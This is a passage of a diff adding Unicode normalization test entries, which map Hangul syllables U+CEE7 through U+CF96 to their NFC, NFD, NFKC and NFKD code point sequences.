+{ source: [0xCEE7], NFC: [0xCEE7], NFD: [0x110F, 0x1165, 0x11AA], NFKC: [0xCEE7], NFKD: [0x110F, 0x1165, 0x11AA] },
+{ source: [0xCEE8], NFC: [0xCEE8], NFD: [0x110F, 0x1165, 0x11AB], NFKC: [0xCEE8], NFKD: [0x110F, 0x1165, 0x11AB] },
+{ source: [0xCEE9], NFC: [0xCEE9], NFD: [0x110F, 0x1165, 0x11AC], NFKC: [0xCEE9], NFKD: [0x110F, 0x1165, 0x11AC] },
+{ source: [0xCEEA], NFC: [0xCEEA], NFD: [0x110F, 0x1165, 0x11AD], NFKC: [0xCEEA], NFKD: [0x110F, 0x1165, 0x11AD] },
+{ source: [0xCEEB], NFC: [0xCEEB], NFD: [0x110F, 0x1165, 0x11AE], NFKC: [0xCEEB], NFKD: [0x110F, 0x1165, 0x11AE] },
+{ source: [0xCEEC], NFC: [0xCEEC], NFD: [0x110F, 0x1165, 0x11AF], NFKC: [0xCEEC], NFKD: [0x110F, 0x1165, 0x11AF] },
+{ source: [0xCEED], NFC: [0xCEED], NFD: [0x110F, 0x1165, 0x11B0], NFKC: [0xCEED], NFKD: [0x110F, 0x1165, 0x11B0] },
+{ source: [0xCEEE], NFC: [0xCEEE], NFD: [0x110F, 0x1165, 0x11B1], NFKC: [0xCEEE], NFKD: [0x110F, 0x1165, 0x11B1] },
+{ source: [0xCEEF], NFC: [0xCEEF], NFD: [0x110F, 0x1165, 0x11B2], NFKC: [0xCEEF], NFKD: [0x110F, 0x1165, 0x11B2] },
+{ source: [0xCEF0], NFC: [0xCEF0], NFD: [0x110F, 0x1165, 0x11B3], NFKC: [0xCEF0], NFKD: [0x110F, 0x1165, 0x11B3] },
+{ source: [0xCEF1], NFC: [0xCEF1], NFD: [0x110F, 0x1165, 0x11B4], NFKC: [0xCEF1], NFKD: [0x110F, 0x1165, 0x11B4] },
+{ source: [0xCEF2], NFC: [0xCEF2], NFD: [0x110F, 0x1165, 0x11B5], NFKC: [0xCEF2], NFKD: [0x110F, 0x1165, 0x11B5] },
+{ source: [0xCEF3], NFC: [0xCEF3], NFD: [0x110F, 0x1165, 0x11B6], NFKC: [0xCEF3], NFKD: [0x110F, 0x1165, 0x11B6] },
+{ source: [0xCEF4], NFC: [0xCEF4], NFD: [0x110F, 0x1165, 0x11B7], NFKC: [0xCEF4], NFKD: [0x110F, 0x1165, 0x11B7] },
+{ source: [0xCEF5], NFC: [0xCEF5], NFD: [0x110F, 0x1165, 0x11B8], NFKC: [0xCEF5], NFKD: [0x110F, 0x1165, 0x11B8] },
+{ source: [0xCEF6], NFC: [0xCEF6], NFD: [0x110F, 0x1165, 0x11B9], NFKC: [0xCEF6], NFKD: [0x110F, 0x1165, 0x11B9] },
+{ source: [0xCEF7], NFC: [0xCEF7], NFD: [0x110F, 0x1165, 0x11BA], NFKC: [0xCEF7], NFKD: [0x110F, 0x1165, 0x11BA] },
+{ source: [0xCEF8], NFC: [0xCEF8], NFD: [0x110F, 0x1165, 0x11BB], NFKC: [0xCEF8], NFKD: [0x110F, 0x1165, 0x11BB] },
+{ source: [0xCEF9], NFC: [0xCEF9], NFD: [0x110F, 0x1165, 0x11BC], NFKC: [0xCEF9], NFKD: [0x110F, 0x1165, 0x11BC] },
+{ source: [0xCEFA], NFC: [0xCEFA], NFD: [0x110F, 0x1165, 0x11BD], NFKC: [0xCEFA], NFKD: [0x110F, 0x1165, 0x11BD] },
+{ source: [0xCEFB], NFC: [0xCEFB], NFD: [0x110F, 0x1165, 0x11BE], NFKC: [0xCEFB], NFKD: [0x110F, 0x1165, 0x11BE] },
+{ source: [0xCEFC], NFC: [0xCEFC], NFD: [0x110F, 0x1165, 0x11BF], NFKC: [0xCEFC], NFKD: [0x110F, 0x1165, 0x11BF] },
+{ source: [0xCEFD], NFC: [0xCEFD], NFD: [0x110F, 0x1165, 0x11C0], NFKC: [0xCEFD], NFKD: [0x110F, 0x1165, 0x11C0] },
+{ source: [0xCEFE], NFC: [0xCEFE], NFD: [0x110F, 0x1165, 0x11C1], NFKC: [0xCEFE], NFKD: [0x110F, 0x1165, 0x11C1] },
+{ source: [0xCEFF], NFC: [0xCEFF], NFD: [0x110F, 0x1165, 0x11C2], NFKC: [0xCEFF], NFKD: [0x110F, 0x1165, 0x11C2] },
+{ source: [0xCF00], NFC: [0xCF00], NFD: [0x110F, 0x1166], NFKC: [0xCF00], NFKD: [0x110F, 0x1166] },
+{ source: [0xCF01], NFC: [0xCF01], NFD: [0x110F, 0x1166, 0x11A8], NFKC: [0xCF01], NFKD: [0x110F, 0x1166, 0x11A8] },
+{ source: [0xCF02], NFC: [0xCF02], NFD: [0x110F, 0x1166, 0x11A9], NFKC: [0xCF02], NFKD: [0x110F, 0x1166, 0x11A9] },
+{ source: [0xCF03], NFC: [0xCF03], NFD: [0x110F, 0x1166, 0x11AA], NFKC: [0xCF03], NFKD: [0x110F, 0x1166, 0x11AA] },
+{ source: [0xCF04], NFC: [0xCF04], NFD: [0x110F, 0x1166, 0x11AB], NFKC: [0xCF04], NFKD: [0x110F, 0x1166, 0x11AB] },
+{ source: [0xCF05], NFC: [0xCF05], NFD: [0x110F, 0x1166, 0x11AC], NFKC: [0xCF05], NFKD: [0x110F, 0x1166, 0x11AC] },
+{ source: [0xCF06], NFC: [0xCF06], NFD: [0x110F, 0x1166, 0x11AD], NFKC: [0xCF06], NFKD: [0x110F, 0x1166, 0x11AD] },
+{ source: [0xCF07], NFC: [0xCF07], NFD: [0x110F, 0x1166, 0x11AE], NFKC: [0xCF07], NFKD: [0x110F, 0x1166, 0x11AE] },
+{ source: [0xCF08], NFC: [0xCF08], NFD: [0x110F, 0x1166, 0x11AF], NFKC: [0xCF08], NFKD: [0x110F, 0x1166, 0x11AF] },
+{ source: [0xCF09], NFC: [0xCF09], NFD: [0x110F, 0x1166, 0x11B0], NFKC: [0xCF09], NFKD: [0x110F, 0x1166, 0x11B0] },
+{ source: [0xCF0A], NFC: [0xCF0A], NFD: [0x110F, 0x1166, 0x11B1], NFKC: [0xCF0A], NFKD: [0x110F, 0x1166, 0x11B1] },
+{ source: [0xCF0B], NFC: [0xCF0B], NFD: [0x110F, 0x1166, 0x11B2], NFKC: [0xCF0B], NFKD: [0x110F, 0x1166, 0x11B2] },
+{ source: [0xCF0C], NFC: [0xCF0C], NFD: [0x110F, 0x1166, 0x11B3], NFKC: [0xCF0C], NFKD: [0x110F, 0x1166, 0x11B3] },
+{ source: [0xCF0D], NFC: [0xCF0D], NFD: [0x110F, 0x1166, 0x11B4], NFKC: [0xCF0D], NFKD: [0x110F, 0x1166, 0x11B4] },
+{ source: [0xCF0E], NFC: [0xCF0E], NFD: [0x110F, 0x1166, 0x11B5], NFKC: [0xCF0E], NFKD: [0x110F, 0x1166, 0x11B5] },
+{ source: [0xCF0F], NFC: [0xCF0F], NFD: [0x110F, 0x1166, 0x11B6], NFKC: [0xCF0F], NFKD: [0x110F, 0x1166, 0x11B6] },
+{ source: [0xCF10], NFC: [0xCF10], NFD: [0x110F, 0x1166, 0x11B7], NFKC: [0xCF10], NFKD: [0x110F, 0x1166, 0x11B7] },
+{ source: [0xCF11], NFC: [0xCF11], NFD: [0x110F, 0x1166, 0x11B8], NFKC: [0xCF11], NFKD: [0x110F, 0x1166, 0x11B8] },
+{ source: [0xCF12], NFC: [0xCF12], NFD: [0x110F, 0x1166, 0x11B9], NFKC: [0xCF12], NFKD: [0x110F, 0x1166, 0x11B9] },
+{ source: [0xCF13], NFC: [0xCF13], NFD: [0x110F, 0x1166, 0x11BA], NFKC: [0xCF13], NFKD: [0x110F, 0x1166, 0x11BA] },
+{ source: [0xCF14], NFC: [0xCF14], NFD: [0x110F, 0x1166, 0x11BB], NFKC: [0xCF14], NFKD: [0x110F, 0x1166, 0x11BB] },
+{ source: [0xCF15], NFC: [0xCF15], NFD: [0x110F, 0x1166, 0x11BC], NFKC: [0xCF15], NFKD: [0x110F, 0x1166, 0x11BC] },
+{ source: [0xCF16], NFC: [0xCF16], NFD: [0x110F, 0x1166, 0x11BD], NFKC: [0xCF16], NFKD: [0x110F, 0x1166, 0x11BD] },
+{ source: [0xCF17], NFC: [0xCF17], NFD: [0x110F, 0x1166, 0x11BE], NFKC: [0xCF17], NFKD: [0x110F, 0x1166, 0x11BE] },
+{ source: [0xCF18], NFC: [0xCF18], NFD: [0x110F, 0x1166, 0x11BF], NFKC: [0xCF18], NFKD: [0x110F, 0x1166, 0x11BF] },
+{ source: [0xCF19], NFC: [0xCF19], NFD: [0x110F, 0x1166, 0x11C0], NFKC: [0xCF19], NFKD: [0x110F, 0x1166, 0x11C0] },
+{ source: [0xCF1A], NFC: [0xCF1A], NFD: [0x110F, 0x1166, 0x11C1], NFKC: [0xCF1A], NFKD: [0x110F, 0x1166, 0x11C1] },
+{ source: [0xCF1B], NFC: [0xCF1B], NFD: [0x110F, 0x1166, 0x11C2], NFKC: [0xCF1B], NFKD: [0x110F, 0x1166, 0x11C2] },
+{ source: [0xCF1C], NFC: [0xCF1C], NFD: [0x110F, 0x1167], NFKC: [0xCF1C], NFKD: [0x110F, 0x1167] },
+{ source: [0xCF1D], NFC: [0xCF1D], NFD: [0x110F, 0x1167, 0x11A8], NFKC: [0xCF1D], NFKD: [0x110F, 0x1167, 0x11A8] },
+{ source: [0xCF1E], NFC: [0xCF1E], NFD: [0x110F, 0x1167, 0x11A9], NFKC: [0xCF1E], NFKD: [0x110F, 0x1167, 0x11A9] },
+{ source: [0xCF1F], NFC: [0xCF1F], NFD: [0x110F, 0x1167, 0x11AA], NFKC: [0xCF1F], NFKD: [0x110F, 0x1167, 0x11AA] },
+{ source: [0xCF20], NFC: [0xCF20], NFD: [0x110F, 0x1167, 0x11AB], NFKC: [0xCF20], NFKD: [0x110F, 0x1167, 0x11AB] },
+{ source: [0xCF21], NFC: [0xCF21], NFD: [0x110F, 0x1167, 0x11AC], NFKC: [0xCF21], NFKD: [0x110F, 0x1167, 0x11AC] },
+{ source: [0xCF22], NFC: [0xCF22], NFD: [0x110F, 0x1167, 0x11AD], NFKC: [0xCF22], NFKD: [0x110F, 0x1167, 0x11AD] },
+{ source: [0xCF23], NFC: [0xCF23], NFD: [0x110F, 0x1167, 0x11AE], NFKC: [0xCF23], NFKD: [0x110F, 0x1167, 0x11AE] },
+{ source: [0xCF24], NFC: [0xCF24], NFD: [0x110F, 0x1167, 0x11AF], NFKC: [0xCF24], NFKD: [0x110F, 0x1167, 0x11AF] },
+{ source: [0xCF25], NFC: [0xCF25], NFD: [0x110F, 0x1167, 0x11B0], NFKC: [0xCF25], NFKD: [0x110F, 0x1167, 0x11B0] },
+{ source: [0xCF26], NFC: [0xCF26], NFD: [0x110F, 0x1167, 0x11B1], NFKC: [0xCF26], NFKD: [0x110F, 0x1167, 0x11B1] },
+{ source: [0xCF27], NFC: [0xCF27], NFD: [0x110F, 0x1167, 0x11B2], NFKC: [0xCF27], NFKD: [0x110F, 0x1167, 0x11B2] },
+{ source: [0xCF28], NFC: [0xCF28], NFD: [0x110F, 0x1167, 0x11B3], NFKC: [0xCF28], NFKD: [0x110F, 0x1167, 0x11B3] },
+{ source: [0xCF29], NFC: [0xCF29], NFD: [0x110F, 0x1167, 0x11B4], NFKC: [0xCF29], NFKD: [0x110F, 0x1167, 0x11B4] },
+{ source: [0xCF2A], NFC: [0xCF2A], NFD: [0x110F, 0x1167, 0x11B5], NFKC: [0xCF2A], NFKD: [0x110F, 0x1167, 0x11B5] },
+{ source: [0xCF2B], NFC: [0xCF2B], NFD: [0x110F, 0x1167, 0x11B6], NFKC: [0xCF2B], NFKD: [0x110F, 0x1167, 0x11B6] },
+{ source: [0xCF2C], NFC: [0xCF2C], NFD: [0x110F, 0x1167, 0x11B7], NFKC: [0xCF2C], NFKD: [0x110F, 0x1167, 0x11B7] },
+{ source: [0xCF2D], NFC: [0xCF2D], NFD: [0x110F, 0x1167, 0x11B8], NFKC: [0xCF2D], NFKD: [0x110F, 0x1167, 0x11B8] },
+{ source: [0xCF2E], NFC: [0xCF2E], NFD: [0x110F, 0x1167, 0x11B9], NFKC: [0xCF2E], NFKD: [0x110F, 0x1167, 0x11B9] },
+{ source: [0xCF2F], NFC: [0xCF2F], NFD: [0x110F, 0x1167, 0x11BA], NFKC: [0xCF2F], NFKD: [0x110F, 0x1167, 0x11BA] },
+{ source: [0xCF30], NFC: [0xCF30], NFD: [0x110F, 0x1167, 0x11BB], NFKC: [0xCF30], NFKD: [0x110F, 0x1167, 0x11BB] },
+{ source: [0xCF31], NFC: [0xCF31], NFD: [0x110F, 0x1167, 0x11BC], NFKC: [0xCF31], NFKD: [0x110F, 0x1167, 0x11BC] },
+{ source: [0xCF32], NFC: [0xCF32], NFD: [0x110F, 0x1167, 0x11BD], NFKC: [0xCF32], NFKD: [0x110F, 0x1167, 0x11BD] },
+{ source: [0xCF33], NFC: [0xCF33], NFD: [0x110F, 0x1167, 0x11BE], NFKC: [0xCF33], NFKD: [0x110F, 0x1167, 0x11BE] },
+{ source: [0xCF34], NFC: [0xCF34], NFD: [0x110F, 0x1167, 0x11BF], NFKC: [0xCF34], NFKD: [0x110F, 0x1167, 0x11BF] },
+{ source: [0xCF35], NFC: [0xCF35], NFD: [0x110F, 0x1167, 0x11C0], NFKC: [0xCF35], NFKD: [0x110F, 0x1167, 0x11C0] },
+{ source: [0xCF36], NFC: [0xCF36], NFD: [0x110F, 0x1167, 0x11C1], NFKC: [0xCF36], NFKD: [0x110F, 0x1167, 0x11C1] },
+{ source: [0xCF37], NFC: [0xCF37], NFD: [0x110F, 0x1167, 0x11C2], NFKC: [0xCF37], NFKD: [0x110F, 0x1167, 0x11C2] },
+{ source: [0xCF38], NFC: [0xCF38], NFD: [0x110F, 0x1168], NFKC: [0xCF38], NFKD: [0x110F, 0x1168] },
+{ source: [0xCF39], NFC: [0xCF39], NFD: [0x110F, 0x1168, 0x11A8], NFKC: [0xCF39], NFKD: [0x110F, 0x1168, 0x11A8] },
+{ source: [0xCF3A], NFC: [0xCF3A], NFD: [0x110F, 0x1168, 0x11A9], NFKC: [0xCF3A], NFKD: [0x110F, 0x1168, 0x11A9] },
+{ source: [0xCF3B], NFC: [0xCF3B], NFD: [0x110F, 0x1168, 0x11AA], NFKC: [0xCF3B], NFKD: [0x110F, 0x1168, 0x11AA] },
+{ source: [0xCF3C], NFC: [0xCF3C], NFD: [0x110F, 0x1168, 0x11AB], NFKC: [0xCF3C], NFKD: [0x110F, 0x1168, 0x11AB] },
+{ source: [0xCF3D], NFC: [0xCF3D], NFD: [0x110F, 0x1168, 0x11AC], NFKC: [0xCF3D], NFKD: [0x110F, 0x1168, 0x11AC] },
+{ source: [0xCF3E], NFC: [0xCF3E], NFD: [0x110F, 0x1168, 0x11AD], NFKC: [0xCF3E], NFKD: [0x110F, 0x1168, 0x11AD] },
+{ source: [0xCF3F], NFC: [0xCF3F], NFD: [0x110F, 0x1168, 0x11AE], NFKC: [0xCF3F], NFKD: [0x110F, 0x1168, 0x11AE] },
+{ source: [0xCF40], NFC: [0xCF40], NFD: [0x110F, 0x1168, 0x11AF], NFKC: [0xCF40], NFKD: [0x110F, 0x1168, 0x11AF] },
+{ source: [0xCF41], NFC: [0xCF41], NFD: [0x110F, 0x1168, 0x11B0], NFKC: [0xCF41], NFKD: [0x110F, 0x1168, 0x11B0] },
+{ source: [0xCF42], NFC: [0xCF42], NFD: [0x110F, 0x1168, 0x11B1], NFKC: [0xCF42], NFKD: [0x110F, 0x1168, 0x11B1] },
+{ source: [0xCF43], NFC: [0xCF43], NFD: [0x110F, 0x1168, 0x11B2], NFKC: [0xCF43], NFKD: [0x110F, 0x1168, 0x11B2] },
+{ source: [0xCF44], NFC: [0xCF44], NFD: [0x110F, 0x1168, 0x11B3], NFKC: [0xCF44], NFKD: [0x110F, 0x1168, 0x11B3] },
+{ source: [0xCF45], NFC: [0xCF45], NFD: [0x110F, 0x1168, 0x11B4], NFKC: [0xCF45], NFKD: [0x110F, 0x1168, 0x11B4] },
+{ source: [0xCF46], NFC: [0xCF46], NFD: [0x110F, 0x1168, 0x11B5], NFKC: [0xCF46], NFKD: [0x110F, 0x1168, 0x11B5] },
+{ source: [0xCF47], NFC: [0xCF47], NFD: [0x110F, 0x1168, 0x11B6], NFKC: [0xCF47], NFKD: [0x110F, 0x1168, 0x11B6] },
+{ source: [0xCF48], NFC: [0xCF48], NFD: [0x110F, 0x1168, 0x11B7], NFKC: [0xCF48], NFKD: [0x110F, 0x1168, 0x11B7] },
+{ source: [0xCF49], NFC: [0xCF49], NFD: [0x110F, 0x1168, 0x11B8], NFKC: [0xCF49], NFKD: [0x110F, 0x1168, 0x11B8] },
+{ source: [0xCF4A], NFC: [0xCF4A], NFD: [0x110F, 0x1168, 0x11B9], NFKC: [0xCF4A], NFKD: [0x110F, 0x1168, 0x11B9] },
+{ source: [0xCF4B], NFC: [0xCF4B], NFD: [0x110F, 0x1168, 0x11BA], NFKC: [0xCF4B], NFKD: [0x110F, 0x1168, 0x11BA] },
+{ source: [0xCF4C], NFC: [0xCF4C], NFD: [0x110F, 0x1168, 0x11BB], NFKC: [0xCF4C], NFKD: [0x110F, 0x1168, 0x11BB] },
+{ source: [0xCF4D], NFC: [0xCF4D], NFD: [0x110F, 0x1168, 0x11BC], NFKC: [0xCF4D], NFKD: [0x110F, 0x1168, 0x11BC] },
+{ source: [0xCF4E], NFC: [0xCF4E], NFD: [0x110F, 0x1168, 0x11BD], NFKC: [0xCF4E], NFKD: [0x110F, 0x1168, 0x11BD] },
+{ source: [0xCF4F], NFC: [0xCF4F], NFD: [0x110F, 0x1168, 0x11BE], NFKC: [0xCF4F], NFKD: [0x110F, 0x1168, 0x11BE] },
+{ source: [0xCF50], NFC: [0xCF50], NFD: [0x110F, 0x1168, 0x11BF], NFKC: [0xCF50], NFKD: [0x110F, 0x1168, 0x11BF] },
+{ source: [0xCF51], NFC: [0xCF51], NFD: [0x110F, 0x1168, 0x11C0], NFKC: [0xCF51], NFKD: [0x110F, 0x1168, 0x11C0] },
+{ source: [0xCF52], NFC: [0xCF52], NFD: [0x110F, 0x1168, 0x11C1], NFKC: [0xCF52], NFKD: [0x110F, 0x1168, 0x11C1] },
+{ source: [0xCF53], NFC: [0xCF53], NFD: [0x110F, 0x1168, 0x11C2], NFKC: [0xCF53], NFKD: [0x110F, 0x1168, 0x11C2] },
+{ source: [0xCF54], NFC: [0xCF54], NFD: [0x110F, 0x1169], NFKC: [0xCF54], NFKD: [0x110F, 0x1169] },
+{ source: [0xCF55], NFC: [0xCF55], NFD: [0x110F, 0x1169, 0x11A8], NFKC: [0xCF55], NFKD: [0x110F, 0x1169, 0x11A8] },
+{ source: [0xCF56], NFC: [0xCF56], NFD: [0x110F, 0x1169, 0x11A9], NFKC: [0xCF56], NFKD: [0x110F, 0x1169, 0x11A9] },
+{ source: [0xCF57], NFC: [0xCF57], NFD: [0x110F, 0x1169, 0x11AA], NFKC: [0xCF57], NFKD: [0x110F, 0x1169, 0x11AA] },
+{ source: [0xCF58], NFC: [0xCF58], NFD: [0x110F, 0x1169, 0x11AB], NFKC: [0xCF58], NFKD: [0x110F, 0x1169, 0x11AB] },
+{ source: [0xCF59], NFC: [0xCF59], NFD: [0x110F, 0x1169, 0x11AC], NFKC: [0xCF59], NFKD: [0x110F, 0x1169, 0x11AC] },
+{ source: [0xCF5A], NFC: [0xCF5A], NFD: [0x110F, 0x1169, 0x11AD], NFKC: [0xCF5A], NFKD: [0x110F, 0x1169, 0x11AD] },
+{ source: [0xCF5B], NFC: [0xCF5B], NFD: [0x110F, 0x1169, 0x11AE], NFKC: [0xCF5B], NFKD: [0x110F, 0x1169, 0x11AE] },
+{ source: [0xCF5C], NFC: [0xCF5C], NFD: [0x110F, 0x1169, 0x11AF], NFKC: [0xCF5C], NFKD: [0x110F, 0x1169, 0x11AF] },
+{ source: [0xCF5D], NFC: [0xCF5D], NFD: [0x110F, 0x1169, 0x11B0], NFKC: [0xCF5D], NFKD: [0x110F, 0x1169, 0x11B0] },
+{ source: [0xCF5E], NFC: [0xCF5E], NFD: [0x110F, 0x1169, 0x11B1], NFKC: [0xCF5E], NFKD: [0x110F, 0x1169, 0x11B1] },
+{ source: [0xCF5F], NFC: [0xCF5F], NFD: [0x110F, 0x1169, 0x11B2], NFKC: [0xCF5F], NFKD: [0x110F, 0x1169, 0x11B2] },
+{ source: [0xCF60], NFC: [0xCF60], NFD: [0x110F, 0x1169, 0x11B3], NFKC: [0xCF60], NFKD: [0x110F, 0x1169, 0x11B3] },
+{ source: [0xCF61], NFC: [0xCF61], NFD: [0x110F, 0x1169, 0x11B4], NFKC: [0xCF61], NFKD: [0x110F, 0x1169, 0x11B4] },
+{ source: [0xCF62], NFC: [0xCF62], NFD: [0x110F, 0x1169, 0x11B5], NFKC: [0xCF62], NFKD: [0x110F, 0x1169, 0x11B5] },
+{ source: [0xCF63], NFC: [0xCF63], NFD: [0x110F, 0x1169, 0x11B6], NFKC: [0xCF63], NFKD: [0x110F, 0x1169, 0x11B6] },
+{ source: [0xCF64], NFC: [0xCF64], NFD: [0x110F, 0x1169, 0x11B7], NFKC: [0xCF64], NFKD: [0x110F, 0x1169, 0x11B7] },
+{ source: [0xCF65], NFC: [0xCF65], NFD: [0x110F, 0x1169, 0x11B8], NFKC: [0xCF65], NFKD: [0x110F, 0x1169, 0x11B8] },
+{ source: [0xCF66], NFC: [0xCF66], NFD: [0x110F, 0x1169, 0x11B9], NFKC: [0xCF66], NFKD: [0x110F, 0x1169, 0x11B9] },
+{ source: [0xCF67], NFC: [0xCF67], NFD: [0x110F, 0x1169, 0x11BA], NFKC: [0xCF67], NFKD: [0x110F, 0x1169, 0x11BA] },
+{ source: [0xCF68], NFC: [0xCF68], NFD: [0x110F, 0x1169, 0x11BB], NFKC: [0xCF68], NFKD: [0x110F, 0x1169, 0x11BB] },
+{ source: [0xCF69], NFC: [0xCF69], NFD: [0x110F, 0x1169, 0x11BC], NFKC: [0xCF69], NFKD: [0x110F, 0x1169, 0x11BC] },
+{ source: [0xCF6A], NFC: [0xCF6A], NFD: [0x110F, 0x1169, 0x11BD], NFKC: [0xCF6A], NFKD: [0x110F, 0x1169, 0x11BD] },
+{ source: [0xCF6B], NFC: [0xCF6B], NFD: [0x110F, 0x1169, 0x11BE], NFKC: [0xCF6B], NFKD: [0x110F, 0x1169, 0x11BE] },
+{ source: [0xCF6C], NFC: [0xCF6C], NFD: [0x110F, 0x1169, 0x11BF], NFKC: [0xCF6C], NFKD: [0x110F, 0x1169, 0x11BF] },
+{ source: [0xCF6D], NFC: [0xCF6D], NFD: [0x110F, 0x1169, 0x11C0], NFKC: [0xCF6D], NFKD: [0x110F, 0x1169, 0x11C0] },
+{ source: [0xCF6E], NFC: [0xCF6E], NFD: [0x110F, 0x1169, 0x11C1], NFKC: [0xCF6E], NFKD: [0x110F, 0x1169, 0x11C1] },
+{ source: [0xCF6F], NFC: [0xCF6F], NFD: [0x110F, 0x1169, 0x11C2], NFKC: [0xCF6F], NFKD: [0x110F, 0x1169, 0x11C2] },
+{ source: [0xCF70], NFC: [0xCF70], NFD: [0x110F, 0x116A], NFKC: [0xCF70], NFKD: [0x110F, 0x116A] },
+{ source: [0xCF71], NFC: [0xCF71], NFD: [0x110F, 0x116A, 0x11A8], NFKC: [0xCF71], NFKD: [0x110F, 0x116A, 0x11A8] },
+{ source: [0xCF72], NFC: [0xCF72], NFD: [0x110F, 0x116A, 0x11A9], NFKC: [0xCF72], NFKD: [0x110F, 0x116A, 0x11A9] },
+{ source: [0xCF73], NFC: [0xCF73], NFD: [0x110F, 0x116A, 0x11AA], NFKC: [0xCF73], NFKD: [0x110F, 0x116A, 0x11AA] },
+{ source: [0xCF74], NFC: [0xCF74], NFD: [0x110F, 0x116A, 0x11AB], NFKC: [0xCF74], NFKD: [0x110F, 0x116A, 0x11AB] },
+{ source: [0xCF75], NFC: [0xCF75], NFD: [0x110F, 0x116A, 0x11AC], NFKC: [0xCF75], NFKD: [0x110F, 0x116A, 0x11AC] },
+{ source: [0xCF76], NFC: [0xCF76], NFD: [0x110F, 0x116A, 0x11AD], NFKC: [0xCF76], NFKD: [0x110F, 0x116A, 0x11AD] },
+{ source: [0xCF77], NFC: [0xCF77], NFD: [0x110F, 0x116A, 0x11AE], NFKC: [0xCF77], NFKD: [0x110F, 0x116A, 0x11AE] },
+{ source: [0xCF78], NFC: [0xCF78], NFD: [0x110F, 0x116A, 0x11AF], NFKC: [0xCF78], NFKD: [0x110F, 0x116A, 0x11AF] },
+{ source: [0xCF79], NFC: [0xCF79], NFD: [0x110F, 0x116A, 0x11B0], NFKC: [0xCF79], NFKD: [0x110F, 0x116A, 0x11B0] },
+{ source: [0xCF7A], NFC: [0xCF7A], NFD: [0x110F, 0x116A, 0x11B1], NFKC: [0xCF7A], NFKD: [0x110F, 0x116A, 0x11B1] },
+{ source: [0xCF7B], NFC: [0xCF7B], NFD: [0x110F, 0x116A, 0x11B2], NFKC: [0xCF7B], NFKD: [0x110F, 0x116A, 0x11B2] },
+{ source: [0xCF7C], NFC: [0xCF7C], NFD: [0x110F, 0x116A, 0x11B3], NFKC: [0xCF7C], NFKD: [0x110F, 0x116A, 0x11B3] },
+{ source: [0xCF7D], NFC: [0xCF7D], NFD: [0x110F, 0x116A, 0x11B4], NFKC: [0xCF7D], NFKD: [0x110F, 0x116A, 0x11B4] },
+{ source: [0xCF7E], NFC: [0xCF7E], NFD: [0x110F, 0x116A, 0x11B5], NFKC: [0xCF7E], NFKD: [0x110F, 0x116A, 0x11B5] },
+{ source: [0xCF7F], NFC: [0xCF7F], NFD: [0x110F, 0x116A, 0x11B6], NFKC: [0xCF7F], NFKD: [0x110F, 0x116A, 0x11B6] },
+{ source: [0xCF80], NFC: [0xCF80], NFD: [0x110F, 0x116A, 0x11B7], NFKC: [0xCF80], NFKD: [0x110F, 0x116A, 0x11B7] },
+{ source: [0xCF81], NFC: [0xCF81], NFD: [0x110F, 0x116A, 0x11B8], NFKC: [0xCF81], NFKD: [0x110F, 0x116A, 0x11B8] },
+{ source: [0xCF82], NFC: [0xCF82], NFD: [0x110F, 0x116A, 0x11B9], NFKC: [0xCF82], NFKD: [0x110F, 0x116A, 0x11B9] },
+{ source: [0xCF83], NFC: [0xCF83], NFD: [0x110F, 0x116A, 0x11BA], NFKC: [0xCF83], NFKD: [0x110F, 0x116A, 0x11BA] },
+{ source: [0xCF84], NFC: [0xCF84], NFD: [0x110F, 0x116A, 0x11BB], NFKC: [0xCF84], NFKD: [0x110F, 0x116A, 0x11BB] },
+{ source: [0xCF85], NFC: [0xCF85], NFD: [0x110F, 0x116A, 0x11BC], NFKC: [0xCF85], NFKD: [0x110F, 0x116A, 0x11BC] },
+{ source: [0xCF86], NFC: [0xCF86], NFD: [0x110F, 0x116A, 0x11BD], NFKC: [0xCF86], NFKD: [0x110F, 0x116A, 0x11BD] },
+{ source: [0xCF87], NFC: [0xCF87], NFD: [0x110F, 0x116A, 0x11BE], NFKC: [0xCF87], NFKD: [0x110F, 0x116A, 0x11BE] },
+{ source: [0xCF88], NFC: [0xCF88], NFD: [0x110F, 0x116A, 0x11BF], NFKC: [0xCF88], NFKD: [0x110F, 0x116A, 0x11BF] },
+{ source: [0xCF89], NFC: [0xCF89], NFD: [0x110F, 0x116A, 0x11C0], NFKC: [0xCF89], NFKD: [0x110F, 0x116A, 0x11C0] },
+{ source: [0xCF8A], NFC: [0xCF8A], NFD: [0x110F, 0x116A, 0x11C1], NFKC: [0xCF8A], NFKD: [0x110F, 0x116A, 0x11C1] },
+{ source: [0xCF8B], NFC: [0xCF8B], NFD: [0x110F, 0x116A, 0x11C2], NFKC: [0xCF8B], NFKD: [0x110F, 0x116A, 0x11C2] },
+{ source: [0xCF8C], NFC: [0xCF8C], NFD: [0x110F, 0x116B], NFKC: [0xCF8C], NFKD: [0x110F, 0x116B] },
+{ source: [0xCF8D], NFC: [0xCF8D], NFD: [0x110F, 0x116B, 0x11A8], NFKC: [0xCF8D], NFKD: [0x110F, 0x116B, 0x11A8] },
+{ source: [0xCF8E], NFC: [0xCF8E], NFD: [0x110F, 0x116B, 0x11A9], NFKC: [0xCF8E], NFKD: [0x110F, 0x116B, 0x11A9] },
+{ source: [0xCF8F], NFC: [0xCF8F], NFD: [0x110F, 0x116B, 0x11AA], NFKC: [0xCF8F], NFKD: [0x110F, 0x116B, 0x11AA] },
+{ source: [0xCF90], NFC: [0xCF90], NFD: [0x110F, 0x116B, 0x11AB], NFKC: [0xCF90], NFKD: [0x110F, 0x116B, 0x11AB] },
+{ source: [0xCF91], NFC: [0xCF91], NFD: [0x110F, 0x116B, 0x11AC], NFKC: [0xCF91], NFKD: [0x110F, 0x116B, 0x11AC] },
+{ source: [0xCF92], NFC: [0xCF92], NFD: [0x110F, 0x116B, 0x11AD], NFKC: [0xCF92], NFKD: [0x110F, 0x116B, 0x11AD] },
+{ source: [0xCF93], NFC: [0xCF93], NFD: [0x110F, 0x116B, 0x11AE], NFKC: [0xCF93], NFKD: [0x110F, 0x116B, 0x11AE] },
+{ source: [0xCF94], NFC: [0xCF94], NFD: [0x110F, 0x116B, 0x11AF], NFKC: [0xCF94], NFKD: [0x110F, 0x116B, 0x11AF] },
+{ source: [0xCF95], NFC: [0xCF95], NFD: [0x110F, 0x116B, 0x11B0], NFKC: [0xCF95], NFKD: [0x110F, 0x116B, 0x11B0] },
+{ source: [0xCF96], NFC: [0xCF96], NFD: [0x110F, 0x116B, 0x11B1], NFKC: [0xCF96], NFKD: [0x110F, 0x116B, 0x11B1] },
